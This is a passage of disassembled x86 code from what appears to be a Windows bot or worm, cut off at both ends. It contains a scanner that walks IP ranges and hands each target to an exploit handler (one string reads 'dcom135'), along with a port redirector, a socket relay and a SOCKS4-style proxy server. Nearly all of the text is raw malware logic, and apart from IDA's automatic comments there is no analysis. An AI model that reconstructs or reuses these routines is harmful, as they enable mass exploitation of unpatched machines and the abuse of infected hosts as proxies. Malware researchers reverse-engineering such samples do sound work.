push 4 push eax push esi call sub_4155D0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40760A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407652 proc near ; CODE XREF: sub_40778B+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_415CF0 cmp eax, 0Fh pop ecx jbe short loc_40767A xor eax, eax jmp short loc_4076EB ; --------------------------------------------------------------------------- loc_40767A: ; CODE XREF: sub_407652+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416AA0 add esp, 18h cmp [ebp+var_C], esi jnz short loc_4076A7 call sub_415543 mov [ebp+var_C], eax loc_4076A7: ; CODE XREF: sub_407652+4Bj cmp [ebp+var_8], esi jnz short loc_4076B4 call sub_415543 mov [ebp+var_8], eax loc_4076B4: ; CODE XREF: sub_407652+58j cmp [ebp+var_4], esi jnz short loc_4076C1 call sub_415543 mov [ebp+var_4], eax loc_4076C1: ; CODE XREF: sub_407652+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076CD call sub_415543 loc_4076CD: ; CODE XREF: sub_407652+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_438FE8[ecx*8], eax loc_4076EB: ; CODE XREF: sub_407652+26j pop esi leave retn sub_407652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076EE proc near ; CODE XREF: sub_40778B+B8p ; sub_412B98+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43A418 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_407717 xor eax, eax jmp short loc_407786 ; --------------------------------------------------------------------------- loc_407717: ; CODE XREF: sub_4076EE+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43A398 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43A434 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43A340 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43A380 ; select push esi mov edi, eax call dword_43A430 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_407786: ; CODE XREF: sub_4076EE+27j pop edi pop esi pop ebx leave retn sub_4076EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40778B proc near ; DATA XREF: sub_40799F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_42104C ; GetTickCount push eax call sub_415539 mov ebx, esi pop ecx imul ebx, 234h loc_4077D2: ; CODE XREF: sub_40778B+200j mov eax, dword_43F52C[ebx] cmp dword_438FEC[eax*8], 0 jz loc_407990 cmp [ebp+var_10], 0 push eax jz short loc_4077FC lea eax, [ebp+var_150] push eax call sub_407652 pop ecx jmp short loc_407801 ; --------------------------------------------------------------------------- loc_4077FC: ; CODE XREF: sub_40778B+60j call sub_40760A loc_407801: ; CODE XREF: sub_40778B+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43F52C[ebx] push [ebp+var_3C] push edi call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_427990 push eax call sub_4154E7 lea eax, [ebp+var_28C] push eax lea eax, dword_43F328[ebx] push eax call sub_4154E7 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076EE add esp, 2Ch cmp eax, 1 jnz loc_407980 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078D5 push offset dword_439948 call dword_4210B4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_427954 push eax call sub_4154E7 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4078B7 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_4078AB lea eax, [ebp+var_140] loc_4078AB: ; CODE XREF: sub_40778B+118j push eax push [ebp+var_40] call sub_412D4C add esp, 14h loc_4078B7: ; CODE XREF: sub_40778B+FDj lea eax, [ebp+var_28C] push eax call sub_40B16D mov [esp+2A8h+var_2A8], offset dword_439948 call dword_4210B0 ; RtlLeaveCriticalSection jmp loc_407980 ; --------------------------------------------------------------------------- loc_4078D5: ; CODE XREF: sub_40778B+CDj push edi call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_4154E7 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4154E7 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_407919 lea eax, [ebp+var_140] loc_407919: ; CODE XREF: sub_40778B+186j push eax lea eax, [ebp+var_1F8] push eax call sub_4154E7 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42733C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407980: ; CODE XREF: sub_40778B+C3j ; sub_40778B+145j push 7D0h call dword_421060 ; Sleep jmp loc_4077D2 ; --------------------------------------------------------------------------- loc_407990: ; CODE XREF: sub_40778B+55j push esi call sub_4152AF pop ecx push 0 call dword_421048 ; ExitThread sub_40778B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40799F proc near ; DATA XREF: sub_40CE55+31D4o ; sub_40CE55+4D64o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43A3D8 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_438FE8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407276 push 8 call sub_4151DB add esp, 150h cmp eax, ebx jnz short loc_407A6D mov esi, offset dword_439948 push esi call dword_4210BC ; RtlDeleteCriticalSection push 80000400h push esi call dword_4210B8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_407A6D lea eax, [ebp+var_1CC] push offset unk_427AD4 push eax call sub_4154E7 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A57 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D4C add esp, 14h loc_407A57: ; CODE XREF: sub_40799F+99j lea eax, [ebp+var_1CC] push eax call sub_40B16D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A6D: ; CODE XREF: sub_40799F+63j ; sub_40799F+7Fj mov eax, [ebp+var_2C] mov esi, dword_421060 mov edi, ebx mov dword_438FEC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B3A loc_407A8B: ; CODE XREF: sub_40799F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_427A88 push eax call sub_4154E7 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_414F93 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43F52C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40778B push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_407B05 loc_407AFA: ; CODE XREF: sub_40799F+164j cmp [ebp+var_4], ebx jnz short loc_407B2C push 1Eh call esi ; Sleep jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407B05: ; CODE XREF: sub_40799F+159j call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_427A38 push eax call sub_4154E7 lea eax, [ebp+var_1CC] push eax call sub_40B16D add esp, 10h loc_407B2C: ; CODE XREF: sub_40799F+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_407A8B loc_407B3A: ; CODE XREF: sub_40799F+E6j cmp [ebp+var_30], ebx jz loc_407BE4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_407B4F: ; CODE XREF: sub_40799F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_438FE8[eax*8] push eax call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_4279E0 push eax call sub_4154E7 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B9D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D4C add esp, 14h loc_407B9D: ; CODE XREF: sub_40799F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40B16D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_438FEC[eax*8], ebx call esi ; Sleep push 8 call sub_4151DB cmp eax, 1 pop ecx jnz short loc_407BD4 push offset dword_439948 call dword_4210BC ; RtlDeleteCriticalSection loc_407BD4: ; CODE XREF: sub_40799F+228j push [ebp+var_2C] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_407BE4: ; CODE XREF: sub_40799F+19Ej ; sub_40799F+25Dj mov eax, [ebp+var_2C] cmp dword_438FEC[eax*8], 1 jnz loc_407B4F push 7D0h call esi ; Sleep jmp short loc_407BE4 sub_40799F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BFE proc near ; DATA XREF: sub_40CE55+35ABo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43A398 ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43A418 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D62 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_43F534[eax], ebx call dword_43A2B4 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A3C4 ; bind test eax, eax jnz loc_407D62 push 0Ah push ebx call dword_43A3C0 ; listen test eax, eax jnz loc_407D62 loc_407CA8: ; CODE XREF: sub_407BFE+BEj ; sub_407BFE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43A42C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407CA8 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_427B70 push eax call sub_4154E7 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_414F93 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43F52C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407D86 push esi push esi call dword_42108C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43F53C[ecx], eax jz short loc_407D4D loc_407D3A: ; CODE XREF: sub_407BFE+14Dj cmp [ebp+var_2C], esi jnz loc_407CA8 push 32h call dword_421060 ; Sleep jmp short loc_407D3A ; --------------------------------------------------------------------------- loc_407D4D: ; CODE XREF: sub_407BFE+13Aj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427B20 call sub_40B1E1 pop ecx pop ecx jmp short loc_407D65 ; --------------------------------------------------------------------------- loc_407D62: ; CODE XREF: sub_407BFE+61j ; sub_407BFE+93j ... mov edi, [ebp+arg_0] loc_407D65: ; CODE XREF: sub_407BFE+162j push edi call dword_43A430 ; closesocket push ebx call dword_43A430 ; closesocket push [ebp+var_3C] call sub_4152AF pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_407BFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D86 proc near ; DATA XREF: sub_407BFE+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43A418 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407F3C push 10h lea eax, [ebp+var_18] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_43A398 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407E16 lea eax, [ebp+var_13C] push eax call dword_43A41C ; gethostbyname jmp short loc_407E24 ; --------------------------------------------------------------------------- loc_407E16: ; CODE XREF: sub_407D86+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43A350 ; gethostbyaddr loc_407E24: ; CODE XREF: sub_407D86+8Ej cmp eax, edi jz loc_407F3C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz loc_407F3C movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_427C1C push eax call sub_4154E7 push esi lea eax, [ebp+var_344] push 10h push eax call sub_414F93 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43F534[ebx] mov dword_43F52C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43F538[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_407F6D push edi push edi call dword_42108C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43F53C[ecx], eax jz short loc_407F29 loc_407ED6: ; CODE XREF: sub_407D86+15Dj cmp [ebp+var_20], edi jnz short loc_407EE5 push 32h call dword_421060 ; Sleep jmp short loc_407ED6 ; --------------------------------------------------------------------------- loc_407EE5: ; CODE XREF: sub_407D86+153j mov ebx, 1000h loc_407EEA: ; CODE XREF: sub_407D86+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_43A3B0 ; recv cmp eax, edi jle short loc_407F3C push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407EEA jmp short loc_407F3C ; --------------------------------------------------------------------------- loc_407F29: ; CODE XREF: sub_407D86+14Ej call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427BC8 call sub_40B1E1 pop ecx pop ecx loc_407F3C: ; CODE XREF: sub_407D86+44j ; sub_407D86+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43F534[eax] call dword_43A430 ; closesocket push [ebp+arg_0] call dword_43A430 ; closesocket push [ebp+var_4] call sub_4152AF pop ecx push edi call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_407D86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F6D proc near ; DATA XREF: sub_407D86+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_415D70 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407FA4: ; CODE XREF: sub_407F6D+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_43F538[esi] call dword_43A3B0 ; recv test eax, eax jle short loc_407FEB push 0 push eax lea eax, [ebp+var_1128] push eax push dword_43F534[esi] call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407FA4 loc_407FEB: ; CODE XREF: sub_407F6D+61j push dword_43F538[esi] call dword_43A430 ; closesocket push [ebp+var_14] call sub_4152AF pop ecx push 0 call dword_421048 ; ExitThread pop edi pop esi sub_407F6D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40800A proc near ; DATA XREF: sub_40CE55+58ABo var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_43A398 ; ntohs push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_43A418 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43F534[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43A3C4 ; bind test eax, eax jnz loc_4081AC push 0Ah push edi call dword_43A3C0 ; listen test eax, eax jnz loc_4081AC push [ebp+var_40] push [ebp+var_D4] call sub_40A171 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_427D5C push eax call sub_4154E7 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080E5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412D4C add esp, 14h loc_4080E5: ; CODE XREF: sub_40800A+B9j ; sub_40800A+172j ... lea eax, [ebp+var_2D4] push eax call sub_40B16D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43A42C ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset unk_427D04 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_414F93 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43F52C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_40820F push esi push esi call dword_42108C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43F53C[ecx], eax jz short loc_40818C loc_408179: ; CODE XREF: sub_40800A+180j cmp [ebp+var_28], esi jnz loc_4080E5 push 5 call dword_421060 ; Sleep jmp short loc_408179 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_40800A+16Dj call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset unk_427CB8 push eax call sub_4154E7 add esp, 0Ch jmp loc_4080E5 ; --------------------------------------------------------------------------- loc_4081AC: ; CODE XREF: sub_40800A+7Bj ; sub_40800A+8Cj push edi call dword_43A430 ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_427C74 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081EF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412D4C add esp, 14h loc_4081EF: ; CODE XREF: sub_40800A+1C3j lea eax, [ebp+var_2D4] push eax call sub_40B16D push [ebp+var_3C] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_40800A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820F proc near ; DATA XREF: sub_40800A+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43F534[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43A380 ; select test eax, eax jnz short loc_408290 push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_408290: ; CODE XREF: sub_40820F+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43A3B0 ; recv test eax, eax jg short loc_4082C1 push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_4082C1: ; CODE XREF: sub_40820F+98j cmp [ebp+var_4D0], 4 jnz loc_4084BB cmp [ebp+var_4CF], 1 jnz loc_4084BB cmp [ebp+var_44], bl jz short loc_408357 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_408357 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_427E3C call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_415570 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A3E8 ; send push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_408357: ; CODE XREF: sub_40820F+CFj ; sub_40820F+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_415570 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43A418 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083EF call dword_43A32C ; WSAGetLastError push eax push offset unk_427DEC call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415570 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A3E8 ; send push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_4083EF: ; CODE XREF: sub_40820F+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40845E call dword_43A32C ; WSAGetLastError push eax push offset unk_427D98 call sub_40B1E1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415570 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A3E8 ; send push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_40845E: ; CODE XREF: sub_40820F+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_415570 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43A3E8 ; send push dword ptr [esi] push edi call sub_4084D3 pop ecx pop ecx push edi call dword_43A430 ; closesocket push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_4084BB: ; CODE XREF: sub_40820F+B9j ; sub_40820F+C6j push dword ptr [esi] call dword_43A430 ; closesocket push [ebp+arg_0] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread sub_40820F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084D3 proc near ; CODE XREF: sub_40820F+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084E9: ; CODE XREF: sub_4084D3+C5j ; sub_4084D3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_408501: ; CODE XREF: 